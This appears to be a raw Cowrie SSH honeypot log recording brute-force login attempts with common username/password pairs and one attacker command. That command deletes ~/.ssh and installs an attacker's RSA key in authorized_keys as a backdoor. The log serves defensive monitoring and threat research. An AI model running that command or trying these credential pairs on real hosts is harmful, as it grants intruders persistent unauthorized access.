{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:46.580775Z","src_ip":"186.30.115.187","session":"c0f05066d16a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:46.812824Z","src_ip":"186.30.115.187","session":"c0f05066d16a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:46.815962Z","src_ip":"186.30.115.187","session":"c0f05066d16a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:46.913550Z","src_ip":"186.30.115.187","session":"c0f05066d16a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:46.917629Z","src_ip":"186.30.115.187","session":"c0f05066d16a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":39212,"dst_ip":"10.17.0.5","dst_port":22,"session":"71f38b287e61","protocol":"ssh","message":"New connection: 186.30.115.187:39212 (10.17.0.5:22) [session: 71f38b287e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:46.991790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:46.996958Z","src_ip":"186.30.115.187","session":"71f38b287e61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:47.083144Z","src_ip":"186.30.115.187","session":"71f38b287e61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:47.467135Z","src_ip":"186.30.115.187","session":"71f38b287e61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45986,"dst_ip":"159.203.135.109","dst_port":22,"session":"064e4cad61ed","protocol":"ssh","message":"New connection: 45.156.87.254:45986 (159.203.135.109:22) [session: 064e4cad61ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:48.228681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:48.233082Z","src_ip":"45.156.87.254","session":"064e4cad61ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:48.317438Z","src_ip":"45.156.87.254","session":"064e4cad61ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:48.556282Z","src_ip":"186.30.115.187","session":"71f38b287e61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:48.562672Z","src_ip":"45.156.87.254","session":"064e4cad61ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":39758,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb123cfc1124","protocol":"ssh","message":"New connection: 186.30.115.187:39758 (10.17.0.5:22) [session: eb123cfc1124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:48.655777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:48.660306Z","src_ip":"186.30.115.187","session":"eb123cfc1124","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:48.757834Z","src_ip":"186.30.115.187","session":"eb123cfc1124","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:49.179475Z","src_ip":"186.30.115.187","session":"eb123cfc1124","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:49.280722Z","src_ip":"186.30.115.187","session":"c0f05066d16a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:49.285411Z","src_ip":"186.30.115.187","session":"eb123cfc1124","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:49.736906Z","src_ip":"45.156.87.254","session":"064e4cad61ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38352,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a3b68fbb7c7","protocol":"ssh","message":"New connection: 45.156.87.254:38352 (159.203.135.109:22) [session: 7a3b68fbb7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:51.934801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:52.081146Z","src_ip":"45.156.87.254","session":"7a3b68fbb7c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:52.084878Z","src_ip":"45.156.87.254","session":"7a3b68fbb7c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:52.441132Z","src_ip":"45.156.87.254","session":"7a3b68fbb7c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:53.527734Z","src_ip":"45.156.87.254","session":"7a3b68fbb7c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38362,"dst_ip":"159.203.135.109","dst_port":22,"session":"10c549a62568","protocol":"ssh","message":"New connection: 45.156.87.254:38362 (159.203.135.109:22) [session: 10c549a62568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:55.904702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:55.909821Z","src_ip":"45.156.87.254","session":"10c549a62568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:55.993050Z","src_ip":"45.156.87.254","session":"10c549a62568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"123456","message":"login attempt [jack/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:56.241698Z","src_ip":"45.156.87.254","session":"10c549a62568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:57.331522Z","src_ip":"45.156.87.254","session":"10c549a62568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48924,"dst_ip":"159.203.135.109","dst_port":22,"session":"1db48f12ab03","protocol":"ssh","message":"New connection: 45.156.87.254:48924 (159.203.135.109:22) [session: 1db48f12ab03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:00.123211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:00.132743Z","src_ip":"45.156.87.254","session":"1db48f12ab03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:00.218132Z","src_ip":"45.156.87.254","session":"1db48f12ab03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:00.473265Z","src_ip":"45.156.87.254","session":"1db48f12ab03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:01.562180Z","src_ip":"45.156.87.254","session":"1db48f12ab03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48940,"dst_ip":"159.203.135.109","dst_port":22,"session":"52fc92a575e0","protocol":"ssh","message":"New connection: 45.156.87.254:48940 (159.203.135.109:22) [session: 52fc92a575e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:04.321309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:04.326379Z","src_ip":"45.156.87.254","session":"52fc92a575e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:04.599273Z","src_ip":"45.156.87.254","session":"52fc92a575e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:04.936113Z","src_ip":"45.156.87.254","session":"52fc92a575e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:06.026069Z","src_ip":"45.156.87.254","session":"52fc92a575e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57140,"dst_ip":"159.203.135.109","dst_port":22,"session":"b53e356c19c4","protocol":"ssh","message":"New connection: 45.156.87.254:57140 (159.203.135.109:22) [session: b53e356c19c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:08.666708Z"}
